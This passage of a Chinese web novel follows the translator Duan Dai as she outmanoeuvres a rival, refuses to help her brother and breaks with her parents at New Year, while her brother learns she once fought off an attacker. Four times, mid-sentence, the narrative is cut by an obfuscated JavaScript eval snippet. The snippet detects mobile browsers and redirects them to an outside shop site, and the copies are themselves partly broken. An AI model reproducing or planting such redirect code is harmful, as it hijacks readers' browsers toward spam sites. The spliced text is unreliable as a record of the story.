负责和段黛对接日轻翻译的新编辑名叫顾笙,刚拿到中级资格,是个三天两头去漫展的年轻女孩。段黛刚加上她的好友时,看到了她朋友圈里大量Cosplay的照片和吃谷的吐槽。 顾笙和段黛讨论了一番,最终确定了一个笔名:Paragraph。 Paragraph,段落,正好段黛还姓段。非常无聊的冷笑话,顾笙说完自己都笑了。不过取名无能的段黛对此表示很喜欢:“那以后我在你这的笔名就叫Paragraph了。” 顾笙点了点头:“那行。不过段老师你怎么想到要翻译这么纯爱的作品的啊?” 段黛笑了笑:“看了书觉得很有意思,等回过神来的时候已经把翻译写好了。” 在各种思潮的发展下,段黛筛选日轻可以说是从矮子里面拔将军了。虽说勇者冒险之类的作品非常受欢迎,但免不了总是有拿女性角色卖福利的桥段。思考半天,段黛直接去找女作者写的娇妻味儿不那么冲的小说,最后就筛出来了这么一本如此纯爱的作品。 来点什么“没有未来的未来不是我想要的未来”和“没有你的四月还是到来了”的冲击吧。 段黛这边春风得意如冉冉升起的新星,邓辞那边可就一片狼藉了。其实动画出问题损伤的是公司的利益,他们这些员工拿钱办事,最多只是紧急公关忙了一些,工资还是照拿不误的。甚至因为这种突发情况,他们的抚慰奖金还要多发一些。 但是好死不死邓辞自己也投资了同名作品,想要在IP效应下分一杯羹。他这次胆子太大了,把手上有的钱全投了进去,本来还做着利润回收的美梦,没想到全都打了水漂。艰苦奋斗几年累计下来的资产,一夜之间就恢复到了初入社会一贫如洗的状态。偏偏邓辞一直想着以钱生钱,所以手里根本没有多少不动产,房子没有车子没买,这些年赚来的钱到头来什么都没给他留下,现在连点个外卖都得等到发工资才行了。 原先邓辞的妈妈还像段光耀赵玉兰他们一样在临安租房子陪着儿女,现在也只能收拾收拾回老家去了。 邓辞急火攻心,连着好几天都没睡好,时常半夜醒来后捶胸顿足。偏偏公司最近还需要加班,邓辞在工位上活像一具行尸走肉,光是站在那里就弥漫着一股淡淡的死气。 有同事很担忧地看着他:“你没事吧?要不要去医院看看?” 邓辞勉强地笑了笑:“我没事,没事。” 他日日处理着被谩骂的作品内容,盯着名单看久了忽然就意识到了什么。他找到了当时和段黛的聊天记录,翻到了曾经段黛圈出来的那些作品。 邓辞瞪大了眼睛。 她画的那么大的范围,选出来的所有作品,现在都在被口诛笔伐。 可笑他当时还觉得这么大的范围自己不可能恰好踩到雷上……没想到原来圈套这么大。 原来不管他选哪一个,都是落在了陷阱里。 邓辞的额上青筋暴起,手上握紧了拳头,关节都被他捏的泛白。自己怎么就着了她的道! 明明他都知道现在的段黛对他抱有多大敌意了,他竟然还…… 趁着午休的时候,邓辞给段黛发了消息:【你故意的是不是?你选的所有作品都有问题!枉我当时还费那么大力气挨个看译文!】 段黛收到消息后啧啧两声:【原来逼急了你也是会直接有事说事,而不是先问一句“在吗”啊。】 邓辞看着段黛的风凉话气不打一处来:【你还说这些有的没的干什么?你有没有心!】 段黛:【这还要怪你自己啊。】 邓辞:【明明是你设计我!】 段黛:【你知道我看你不顺眼,咱们刚见面几次你就被我吓得像条狗一样。都这样了你还觉得自己很厉害,能够压得住我?】 段黛:【你不是没想到我会陷害你,你是盲目自信,觉得我没本事害你吧?】 段黛:【这回终于蠢到自己了吧?下次别自作聪明了。】 邓辞哑口无言。 他确实是大意了。 他以为现在的段黛虽然歹毒,但并没有从前的段黛那样才华横溢,所以自信地认为她只是个色厉内荏的货色罢了。邓辞觉得自己能掌握段黛的软肋,可以轻轻松松让她为自己所用。 他当然也是警惕过的,可他又自信段黛能设计他的只是一些不入流的小伎俩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732385|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自己一定能轻松识破。 聪明反被聪明误。 搬起石头砸了自己的脚。 屏幕上再次弹出消息。段黛:【希望你还没有负债。好好工作吧,你的工资不少呢。再奋斗个几年就回来了。】 邓辞呆呆地站在楼道的床边,任由冰冷将他包围。 半晌,他自我安慰道。 “是啊,至少我还没有负债呢。” 公历的新年来了,春节自然也不远了。关月兰她们紧急做着年终安排,但也不忘抽出时间来到段黛的新家和她签好了新作品的合同,“段黛世界名著新译”系列正式敲定。 接下来段黛要翻译的是一本法语作品《彩色玻璃》,3月9日会正式进入公版领域。关月兰本来还担心时间这么紧不太合适,但段黛对此颇有信心。 “保证你们年后回来的时候,就能开始准备印刷发行了。” 关月兰把合同收进公文包里:“看到你这么信誓旦旦的,我真害怕你又会像一年前那样拖稿。” 段黛莞尔:“放轻松。” 关月兰把包盖好,正准备走时又停住了脚步:“对了,年底了,出版社也会给合作过的作者寄礼物。你离得近,干脆就别邮寄了,过来拿或者我去送给你都行。有什么想要的吗?” 段黛来了兴趣:“都有什么?” 关月兰:“有吃的,也有书,还有一些文创产品之类的……” 段黛:“书吧,下次我去出版社拿。” 年关将近,各家企业都在做年终总结,所有人都在忙碌。平时的爱恨情仇此刻都变得很淡了,每个人的头上都挂着一行字:“忙完了,回家过个好年。” 邓辞在新年之际把曾经靠段黛赚来的身家全赔了进去,成了一贫如洗的穷光蛋。段墨连能维持温饱的工作都没有了,打着追求艺术的幌子在家啃老。陈方烨的公司“林深”看起来发展的还不错,但做什么事都力不从心,每天都要担心会不会被Season派来的宋语瑶架空,颇有些心力交瘁。 而他们不约而同地打开了段黛的V博,看到她晒了出版社寄给她的新年礼物。 几套装帧精美的特装书。 虽然书对于他们几个来说没有什么意义,但照片里那岁月静好的模样还是刺痛了他们的眼睛。 好像他们所有人都在生存,只有段黛是在生活。 黎尚轩在忙完了段黛的房子之后就给自己放了假。他思索了许久,终于选择在段黛的那个小区挑了一个面积小一些的户型,买了房。 他把新家位置发给段黛:【不出意外的话,明年咱们又能做邻居了。】 段黛:【恭喜恭喜,到时候你搬新家我再来庆祝。】 时间飞快地流动着,终于进入了小年。 临译社已经放假了,不少单位也开始放年假了。 段黛收到了父母发来的消息:【回来过年吗?】 段黛盯着手机看了良久,轻轻地笑了。 片刻后她回了消息。 【除夕回去。】 52. 我不愿意,仅此而已 段黛在宽敞明亮的新家安然地过着独居的生活。她每天早上七点起床,喝过咖啡后就坐到写字台前工作,从早上八点到晚上九点,到了饭点会自己简单做一些饭,九点之后会在家做一些拉伸运动活动肩颈。 段黛几乎不怎么休息,周末也照常工作,连着写十几天稿子的事情也不是没有,只会在感到累的时候才会给自己放一天假,然后在放假这天——翻译日轻。 她不喜欢陌生人来家里,所以不会请人上门打扫卫生。感谢机械化的各种新型家电,减轻了段黛做家务的负担。扫地机器人和洗碗机堪称家里最大的功臣,段黛只会在自己难得休息的时候手动做一些家务,维持着家里的整洁。 附近买菜的商场提供配送服务,以至于本就不爱出门的段黛更加宅了,连着十天半个月都不离家一步。 新家让段黛的独居生活异常舒适,连带着工作效率都提高了不少。所以在大年三十的早上,段黛完成了《彩色玻璃》的译文,打包发到了关月兰的邮箱,并给她发消息:【稿件已经发到你的邮箱了,不过你不用着急看,等假期结束回来再说就好。】 正在老家面对催婚轰炸的关月兰垂死病中惊坐起,连发十个问号:【这才一个月吧,你这就写完了?】 段黛:【译文也就二十万字,一个月足够了。】 关月兰:【你这你这……】 关月兰:【行吧我看到邮件了,好好过年吧。】 段黛:【除夕快乐^^】 关月兰:【……除夕快乐。】 段黛活动了一下肩颈,接着按动开关,把调高的写字台落了回去。她端着保温杯走到落地床边,眯着眼睛看着外面的景色。 真难得啊,临安居然下雪了。 也有很长时间没见父母了。段黛伸了个懒腰。 该回家了。 段黛坐了很久的地铁,进小区门的时候正好碰到段墨的车进来。他停到段黛面前,降下了车窗:“我还当你不打算再见咱爸妈了呢。” 段黛的脸上挂着淡淡地笑容:“说什么呢,过年嘛,当然还是要回家看看的。” 段墨:“上来吧,我捎你一段。” 尽管从小区门到家也就几百米的距离,但段黛也没推辞,拉开门就上了副驾,并且还扣上了安全带。 段墨哑然失笑:“就这么短的距离你还扣安全带。” 段黛语气平淡:“谨慎一点总是好的。” 车子沿着车道向小区深处走去,拐进小高层一侧后,段墨就开始留意停车的位置。段黛并不看手机,只是抱着手臂看着窗外。 这种沉默的氛围让段墨有些发慌,他试探性地开口:“出版社给你送年终礼盒了?” 段黛:“是啊。” 段墨:“看来你最近过的不错,新书好像也……卖的很好。” 段黛莞尔:“那确实是不错。” 边说话边开车到底是分心的,特别是段墨现在还在倒车。他打了两把方向盘,结果车尾还是怼在另一辆车的床头。他有些着急,车里空调开的又比较足,段墨的鼻尖甚至冒出了汗珠。 段黛从后视镜看了一眼:“你还犹豫什么,往前开一开重新倒啊,等着去撞别人的车吗?” “……” 段墨“噢”了一声,手忙脚乱地把车往前开:“我看你们出版社发的,你在英国的时候还催文森特赶稿呢……” “创作小故事是吧,就像电影电视剧的花絮一样,”段黛看着他把车子又开出去了,甚至顺着车道继续往前走了,喊住他,“你不是要停车吗?现在又要去哪?” 段墨:“……” 脑子不够用的,说了话就想不了别的了。 段黛抱着手臂:“你有什么话等把车停好了再说吧。现在过年人多,再转几圈就没地方停了。” “……” 段墨垂头丧气地说了句“好吧”。 也不知道是不是因为紧张,段墨本来开车还是很熟练的,这次停车居然倒了两次都没倒进去,最后左摇右摆地扭进了停车位。段黛全程一言不发,但她的眼神就像是在看蠢货一样,流露出的无语让段墨不自觉地汗流浃背。 好不容易把车停好了,段黛刚要下车,段墨忽然又开了口:“你和文森特,关系很好吧?” 段黛装傻充愣:“什么文森特,哪个文森特?” 段墨气急:“刚刚还说的,现在装不认识?” 段黛装作一副恍然大悟的样子:“噢,你说那个画家文森特啊。怎么了?有什么事吗?” 段墨深吸一口气,终于是把自己的目的说了出来:“你看我也是画画的,如果能搭上文森特,那我应该就能混出头了……” 犹豫了这么多天,段墨可算是找到了一个合适的时机拜托段黛为自己引荐了。虽说段黛现在对自己爱搭不理了,但以前她还是很愿意为自己鞠躬尽瘁的…… 想着想着段墨自己也哆嗦了一下。 他承认了……之前段黛都是在为自己鞠躬尽瘁的? 段黛抱着手臂,轻轻一笑:“哦?为什么搭上文森特你就混出头了?” “那个……”段墨硬着头皮解释,“艺术这个东西很看名气的,现在说段墨的作品没人买账,但是如果文森特推荐了我的作品,或者说如果我拜他为师,变成文森特弟子的作品,那就……” 段黛当然知道这些弯弯绕绕的。在原著里女主为段墨引荐了一位世界知名艺术家,段墨在拜他为师后才打响了名号,自此飞黄腾达。 原主为段墨引荐的正是文森特。只不过原文里女主并没有去伦敦搜集资料,也没有偶遇方若水和文森特,自然和文森特没有什么交情。原主和文森特只是因为翻译作品集而有过几面之缘,但她依然腆着脸各种跑关系,跑完出版社又发邮件,最后还是把自己的哥哥送上了知名艺术家的大船。 段黛根本想象不到原主到底要费多少力气才能做到这一步。 现在的段黛阴差阳错的和文森特有了不错的友谊,比起原主来想要引荐个人可谓是轻而易举。只要她和文森特说一声,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736859|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方一定会愿意帮她看看段墨的画作。 但是…… 段黛耸了耸肩:“噢,这样啊。” 段墨等了半天,也没见段黛再说一句话,忍不住扭头看她:“然后没了?” 段黛:“没了啊,你还想干什么?” 段墨一把抓住了她的手腕:“你和文森特很熟吧?只要你和他说你有一个画画的哥哥……” 段黛微微一笑,用力推开了他的手。 她薄唇轻启,吐出一个字:“不。” “……什么?” 段黛拆了安全带,推门下车,不紧不慢地向着楼房走去。段墨懵了一下,赶紧解开安全带追了上去:“喂!” 段黛扭头:“你锁车了吗?” “……哦,噢。”段墨按了一下车钥匙,车灯亮了一下,发出了上锁的音效。 段黛率先踏进电梯,段墨赶紧追了上来:“为什么不能帮我引荐?这难道不就是你一句话的事?” 段黛按下楼层,慢悠悠道:“没什么,就算这个事像喝凉水一样简单,我也不想做。” “为什么?” “没有为什么,我不想,不愿意,仅此而已。” “……” 段墨一脸不可思议:“明明你做这件事也不麻烦,为什么就是不愿意?你见不得我好吗?” 电梯门打开,段黛走了出去。她的声音在楼道里有些空灵:“帮人是情分不帮是本分,我们之间可没有多少值得称道的情分。你如果觉得是我见不得你好,那你就这样想好了,我完全没有关系。” “你……” “哒,哒,哒。” 段黛已经叩响了面前贴了福字的防盗门。 门咔哒一声推开,赵玉兰看到儿女后露出了惊喜的笑脸:“哎呀,兄妹俩一起回来了呀。” 她视线下移,看到段黛两手空空,而段墨手上却提了一个礼盒,登时笑容僵了僵。奈何做贼心虚,赵玉兰一时也不好意思问她为什么空着手来了。 段黛慢悠悠地脱掉大衣换了鞋子:“嗯,回来了。” 换了鞋之后段黛径直在沙发上坐下。段光耀从厨房里走了出来,看到女儿后笑道:“真是好长时间没看见你了……” 段黛笑容恬淡:“工作比较忙,今天早上刚刚交稿。” “这么忙啊……” “吃饭吧,饭都做好了。”段墨换了鞋之后正想去沙发边坐下,但赵玉兰拉着他直接进了餐厅。段黛闻言也站起身,向着餐厅走去。 餐桌上摆了好几道菜,中间还有一条用长条盘子装起来的鱼。段黛拉开椅子坐下:“这么丰盛呀。” 四人在餐桌前落座,段墨拿了三双筷子来,发到段黛时才发现自己少拿了一双。段黛面色不变,自己去里面拿了一双筷子出来。赵玉兰赶紧替儿子解释:“之前你一直不来,只有你大哥自己过来,他习惯了只有三个人吃饭了,不是故意忘了你的。” 段黛微笑:“这样啊,那这些日子还是真是辛苦大哥陪咱爸妈了。” 53. 若我足够强大 段光耀关心了一番女儿的事业,一如既往地称赞着她的优秀:“我那些老同学还来问我,那个段黛是不是咱家姑娘。我特别骄傲地说当然了……” 称赞完之后他又叹了一口气:“我和你妈已经老了啊,也不能总看着你们……” 段黛默不作声,视线在老两口脸上扫来扫去。段墨也受不了父母的这种腔调,抢先开口道:“你们还很健康呢,要好好活着,长命百岁才行。” 赵玉兰听了儿子的话后笑了起来:“我们当然想尽量活得久一点,方方面面都替你们考虑到了。但是我们也最多再给你们打算二十年,再往后就算我们都还活着,也打算不动了啊……” 说着赵玉兰叹了口气,给段黛碗里夹了一块糖醋排骨:“吃吧,你以前最喜欢吃这个。” 段黛说了句“谢谢妈”,接着就继续低头吃饭了。 段光耀见段黛不搭腔,到底还是开了口:“你们是亲兄妹,以后一定要互相扶持着……黛黛,我对你很放心,但是你哥哥……唉。” 依然是那一套要女儿帮帮不成器的儿子的言论。段黛似笑非笑地瞥了段墨一眼,后者“啧”了一声:“指望她帮我?算了吧。” 现在段墨终于找到了妹妹能派上用场的地方,然而她连开个口的事都不愿意做,还怎么指望段黛能帮自己? 赵玉兰拍了段墨一下:“好好和你妹妹说话。” 段墨不想再继续这个谁更优秀的话题了,他已经知道自己比不上段黛了,现在重复这些只是自取其辱罢了。段墨转移了话题:“我上次去你家找你,结果房东说你搬家了?” 餐厅里一下子就安静了。段光耀和赵玉兰夹菜的手停了下来,只有段黛依旧旁若无人地咀嚼着食物,好像这些都与她无关一般。 赵玉兰先开了口:“黛黛,你搬家了?什么时候的事?” 她慢条斯理地咽下了嘴里的东西:“嗯,刚回国的时候搬的。” 老两口对视一眼,接着赵玉兰道:“你想搬家怎么不早说啊,之前和你说的那个房子还记得不?你要是说一下那个房子就租给你了……” 段黛笑了笑:“九十平米有点小,我住不开。” “……” 段光耀接话:“那你现在搬到哪去了?租金多少?房子多大?你自己找的房子真不一定有那个房子好……” 段黛莞尔:“新家的地址我就不说了,没必要。至于你们说的那个房子……现在段墨搬进去了吧?” “啪”的一声,段墨手里的筷子掉在了地上。段光耀和赵玉兰的脸色异常难看,两人张了张嘴,却都说不出话来。 段墨深吸一口气,抬头看她:“你都知道了?” 段黛“嗯”了一声:“以租养贷,确实是个不错的主意。不过空空荡荡的可不好租,还是装修好了再说吧。不过现在段墨搬进去了,该添置的应该也添置好了吧?” 赵玉兰试探性的开口:“黛黛,我们也不是偏心,主要是你哥哥他……他现在都没有个稳定的收入,我和你爸怕他以后交不起房租,所以……所以趁着现在房价低就给他买了……” 段黛又夹起一筷子鱼肉来,挑了刺咽下去之后才道:“其实钱在你们手里,你们想给谁买房都不要紧。不过你们想诓着我来替他还房贷,算计到我头上来了?” 段黛眉眼弯弯笑容满面,说出来的话却是毫不客气,一下子就撕破了父慈女孝的假面。 段光耀不知道为什么,自己在女儿面前居然有种抬不起头来的感觉。他结结巴巴了半天,终于道:“黛黛,你以前不是这样的……” “是啊,”赵玉兰虽然心虚,但也跟着帮腔,“以前你还说要送哥哥画室呢,结果……我和你爸能力有限,实在是没办法了才会……黛黛,我们都是爱你的,只是你哥哥太不争气了而已……” 段黛抱着手臂坐在椅子上,气定神闲:“以前我主动让他吸血,现在我清醒了不给他吸了,你们慌了吧?” “段黛!”段墨腾的一下站了起来:“你怎么和爸妈说话的!” 段黛白了他一眼:“你一个吃白饭的既得利益者有什么资格在这说话?坐下!” 最后两个字的音调陡然抬高,段黛话音刚落,段墨腿一软,竟然真的就坐了下去。 段黛突然疾言厉色,吓了两人一跳。段光耀见此便知道再装下去也没用了。他把筷子往地上一扔:“喊什么喊!你爹我都还没吼呢你还敢发火?” 段黛抬起下巴,抱着手臂冷笑:“怎么,知道自己做错了事,恼羞成怒了是吧?道理讲不通开始讲伦理了?” 赵玉兰哀哀戚戚地哭着:“你帮帮你哥哥能怎么样?现在你是连爸妈的话都不听了吗?你要寒我们的心吗?” 段黛一脸奇怪:“你们寒心了又能怎样,对我有什么影响吗?” “你……” 段墨一个快三十岁的人了,看到父亲发火还是忍不住会哆嗦。但段黛一脸的无所畏惧,好像只是在看一个中年男人笑话一般。 段光耀不知道为什么,总觉得女儿的目光异常吓人,让他连发火都像是在虚张声势。他慢慢坐了下来,长长叹了一口气:“黛黛,你哥哥是我和你妈的心病,我们怕我们走了之后他活不下去……父母都担心孩子啊,你能明白这种心情吗?” 段黛无动于衷:“不明白。我觉得你们更应该担心以后养老的事。你们把我得罪了,以后肯定是不可能指望我了。” 她对着段墨的方向挑了挑下巴:“你们指望这个废物吗?” 若是平时,段墨肯定会怒斥段黛谁是废物,可现在他一句话都说不出来,只是呆呆地坐着。 “你怎么能这么想,父爱和母爱,你很难理解吗?” 段黛冷笑:“都是利益交换罢了。养儿防老养儿防老,年轻的时候扶养没有生存能力的孩子,为的就是晚年自己生活不能自理的时候有人端屎端尿罢了。光谈爱不谈钱,纯纯蠢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740919|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 货罢了。” 赵玉兰没想到段黛居然会有这么冷血的想法,一时间惊在了原地:“你……你怎么会这么想……” 段黛始终认为世间一切的爱与相伴都逃不开利益交换。父母与子女是为了相互扶养,恋人是为了交换各自的价值,朋友则是为了方便在各自的领域更好的做事……段黛不否认感情的存在,只是她坚信牢固的感情需要坚不可摧的利益共同体。所以她从不做无用社交,不会给没有必要联络的人留一点耐心。 如果段光耀和赵玉兰能够继续扮演好父母的角色,那段黛也不介意继续装聋作哑当他们的便宜女儿。 但是他们触碰了到了段黛的利益。 段黛不会容许这种事情存在的。 段光耀也被镇住了,好半天只干巴巴地冒出来一句:“你一直是爸妈的好女儿,怎么也要帮帮你哥哥啊……” “你们这个好女儿的认证,很值钱吗?”段黛笑了,“我难道需要你们的认可吗?” “……” “……等你有了孩子就知道了。” “不婚不育保平安,”段黛慢悠悠道,“我不会生个废物儿子来拖累自己的生活的。” 说着她又耸了耸肩:“以后我不会再来了,你们也别试图找我。我会按照最低标准支付养老费用,你们不服气的话可以去法院起诉。” “你怎么能……” 段墨终于神智回笼,他看着段黛:“你是嫉妒爸妈给我买房子了吗?你如果不和爸妈这样大呼小叫的,将来爸妈未必不会给你买房,你现在这样是……” “闭嘴,”段黛白了他一眼,“你以为谁都像你一样一事无成,得靠着父母才能付得起首付吗?好好住着吧,你们一家三口也就买得起那个地段和面积了。” 段墨本就被段黛吓住了,好半天才想到这么一句又被她堵了回来,登时哑口无言。 “我吃饱了。” 段黛放下筷子,站起身来:“现在这样我们也没必要再继续装下去了,我先回家了,提前祝你们——新年快乐。” 说罢,段黛转身向外走去。她换好鞋子穿上外套,打开了防盗门,踏进了电梯。 留下一家三口在原地面面相觑。 看着电梯显示屏上不断下降的楼层,段黛轻轻呼出一口气。和便宜父母的关系到底是被她打破了,从今往后,她就是真正的孤家寡人了。 不过段黛并不觉得悲伤,反而松了一口气。 侧卧之榻岂容他人酣睡,段黛不允许任何试图触碰她利益的人留在她的眼皮子底下。从穿书前她就已经是这样了,现在不过是恢复到她最习惯的那种状态罢了。 电梯门徐徐打开,寒风迎面袭来。段黛拉了一下帽子上的带子,踏入了寒风之中。 比起和虚情假意的父母虚与委蛇,她更愿意自己一个人过除夕守岁。 无人爱她,无人爱我。 若我足够强大,又何须旁人爱我。 54. 开端是没有接机 段黛坐了一个小时的地铁,屁股都快麻了的时候才终于到了家。她嘀咕着自己或许真该买辆车了,一边拐进了一旁的大型商超。 毕竟是过年,稍微买一些东西庆祝一下吧。 段黛推着购物车走在琳琅满目的商品之间。今天来超市的人还真不少,大约都是在为年夜饭采购食材。段黛拿了好些水果,简单称了一些做饭用的食材,接着在零食区和饮品区扫荡。排队结账的时候段黛看到了一个很意外的人:“黎尚轩?” 黎尚轩穿着一件灰色的羽绒服,衣服下摆有点蹭脏的感觉,看起来好像刚从工地上出来一样。黎尚轩见到段黛也很意外:“好巧啊?” 黎尚轩就是本地人,不存在什么过年回老家的事。而他的父母报了旅游团出国旅游去了,春节期间根本不回来。黎尚轩耸了耸肩:“反正是一个人过年,我就想来新房子这里看看。看着看着发现没带卷尺,就来附近超市买一个了。” 他看了一眼收银台人山人海的盛况:“人真多啊。” 段黛“噗嗤”一声笑了出来:“真巧,我也要一个人过年了。” 黎尚轩并没有问她为什么会一个人过年。他思索了一会儿:“那晚上要不要一起出去看烟花?附近有一个燃放点。” 临安市限制燃放烟花爆竹,不过可以在规定的区域内定点燃放。段黛也听说除夕夜各个燃放点会组织一些烟花秀的活动,便道:“可以啊,那晚上来我家吃年夜饭吧。” 段黛买的东西很多,结完账之后,黎尚轩便帮她提了一袋子东西。把人送到家门口后,他放下东西道:“我回家换身像样的衣服,咱们下午见。” 段黛笑着招了招手:“下午见。” 段黛心情愉快地回了家,而段墨那边一家三口的气氛低迷。赵玉兰掩面低低地哭泣着,段光耀倚靠在沙发上看着旁边的窗外。段墨看着他们现在的状态颇为无语,但又说不出该怎么办。 他觉得段光耀和赵玉兰这两人实在是矛盾极了。从小到大他们总是炫耀段黛的优秀,对他的平庸唉声叹气。可当年学绘画的时候,段黛其实也提出想学的,但被父母拒绝了,最后学绘画的就只有段墨一个人。 段墨学艺术要花不少钱,而段黛因为学习成绩优秀而一直稳稳当当地走着最传统最省钱的路子,为此父母没少念叨他。可如今仔细想来,爸妈对于自己总是很舍得花钱的,对段黛却会说家里没有那么多钱。 懂事的段黛会说没关系,然后自己努力。 以前段墨只记恨父母为什么总是贬低自己,可现在才发现他们在贬低自己的同时又对自己很大方,在夸奖段黛的同时又对她很吝啬。 所以为什么要这样做? 楼里不少人家都打开门出来贴福字换对联了,到处都是喜气洋洋的氛围,偏偏家里面愁云惨淡。段墨受不了这个气氛,站起身道:“我出去转转。” 赵玉兰一下子坐直了身体:“你也要走?” 段墨有些头皮发麻:“我晚上还回来。” 赵玉兰这才软下了身子。 段墨下了楼,来到了自己停车的地方。他坐在车上发了一会儿呆,最后还是发动了车子。 段墨不知道要去哪,只是想逃离那个有些窒息的氛围。他开着车在路上漫无目的地走着,不知不觉间竟然来到了段黛从前住着的小区。 开进来后段墨忍不住自嘲,现在段黛都搬走了,也不知道新家是在哪,他来这里又有什么用。 大约是大多数人都回家过年的缘故,小区后面的商业街此刻比较冷清,许多店铺都关了门,门上贴着大年初几会回来继续营业的告示。段墨下了车慢慢地走着,看着仅剩的几个店面跑出来几个小孩。 “嘿——哈!臭流氓,看招!宁可见法官也不见法医!”一个小女孩举着一个矿泉水瓶向着段墨冲了过来。段墨吓了一跳,连连后退。一个年轻的姑娘从店里冲了出来,把小女孩拖了回来:“不许随便打路人!女侠打的是流氓,不是无辜的陌生人知道吗?” “那什么才是流氓啊?” “想要摸你身体的就是流氓。” “……” 年轻姑娘教育完了孩子,接着对段墨连连鞠躬道歉:“不好意思,我侄女吓到你了。” 段墨倒是来了兴趣:“什么女侠和流氓?” “流氓”这个词从小孩子嘴里说出来是比较奇怪的,毕竟小孩的性意识没有那么明确,这个词很难从动画之类的作品里知道,多半是周围人说的。 年轻姑娘笑道:“大半年前的时候吧,我们这有个四十多岁的黄毛流氓,总是对小姑娘动手动脚的。白天的时候就是语言骚扰,晚上可能就要弓虽女干人了,好多小姑娘都被他缠上过,不过幸好大家都比较警惕,所以没发生什么太严重的事情。” “不过那天半夜,有个女生因为坐飞机所以回来的很晚,当时正好就碰到那个流氓了。三更半夜的大家都睡了,她如果求救的话也没有人能听见……” 段墨吃了一惊:“然后呢?” “然后那个女孩特别厉害。流氓当时喝多了,手里拿了个啤酒瓶子,那个女孩把啤酒瓶子抢了过来,把流氓打的半身不遂了。听说那个流氓一开始是失去了生育能力大小便失禁,后来好像死了?啧啧啧,真是大快人心。” 段墨没想到是这个走向,忍不住笑了:“所以才叫女侠啊。” 年轻姑娘点了点头:“是啊,简直是为民除害呢。当时还有人给女侠做了锦旗送去……” 段墨:“幸好这个女侠厉害,不然当时那个时候也没人能救她……后果可不堪设想。果然女生不能半夜独自出门啊。” 年轻姑娘思索了一会儿:“说起来我和那个女侠还聊过呢。她说自己的航班本来没有那么晚的,但是说好要接她的哥哥一直没来,导致她在机场等了好几个小时,最后不得不大半夜的打车回来……” 段墨愣住了。 “……什么?” 年轻姑娘没发现段墨脸上的异常,自顾自地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744464|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着:“这个哥哥也真是不靠谱,不能接就早早说嘛……女侠和流氓缠斗时脸上还被扇了巴掌,当时那几天她脸上有特别明显的巴掌印,过了好一段时间才消呢……” 段墨的大脑一片空白。他呆呆地看着年轻姑娘的嘴巴一张一合,可说出来的话他却怎么都听不清。 “那个流氓……女侠……是什么时候的事?” “哎?那时候应该是五月底吧……” 段墨像是被一记重锤敲上了胸膛,心脏似是要从胸腔中脱落,重重地向下坠去。 他的脑中闪过无数个片段,第二天段黛去父母那里的时候脸上顶着两个巴掌印,当时好像是说过这么回事,不过她他没当真…… 自那之后段黛就对他不冷不热的了,后面出国回国都没告诉他,也没有让他接机…… 女侠是……段黛。 在他放了鸽子没有接段黛的那天晚上,她遇到了流氓。 年轻姑娘继续道:“要是我遇到这种事吓都吓死了,未来好一段时间都会有心理阴影的。女侠真的很勇敢……” 很勇敢……吗? 段黛那天晚上,真的一点都没害怕吗? 难怪自那天之后段黛性情大变,原来是…… 段墨的心底升起一种恐惧。他确实不喜欢段黛,可也从来没想过要让段黛陷入如此危险的境地。如果他早知道自己想让她“长长教训”会得到这个结果,那他…… 段墨跌跌撞撞地回到了车子上。他打开了和陈方烨的对话框,手指哆哆嗦嗦地发着消息:【咱们送鹿颖出国没去接段黛的那天,段黛遇到了弓虽女干犯你知道吗?】 片刻后陈方烨回复了消息:【你才知道?】 段墨瞳孔地震:【你早就知道?那个流氓后来怎么样了?是真的死了吗?会不会再来报复段黛?】 陈方烨此刻已经在老家了,他不知道为什么段墨会突然找他说这件事。舅舅和段黛的那件事已经过去很久了,他妈妈钱婷婷难过了一阵也渐渐忘了,而他也把这件事埋在了心底最深处。 现在这个时候突然说这种事……是要干什么? 陈方烨:【……放心吧,流氓已经死了。】 段墨并不完全相信,追问:【怎么死的?你亲眼看到的吗?】 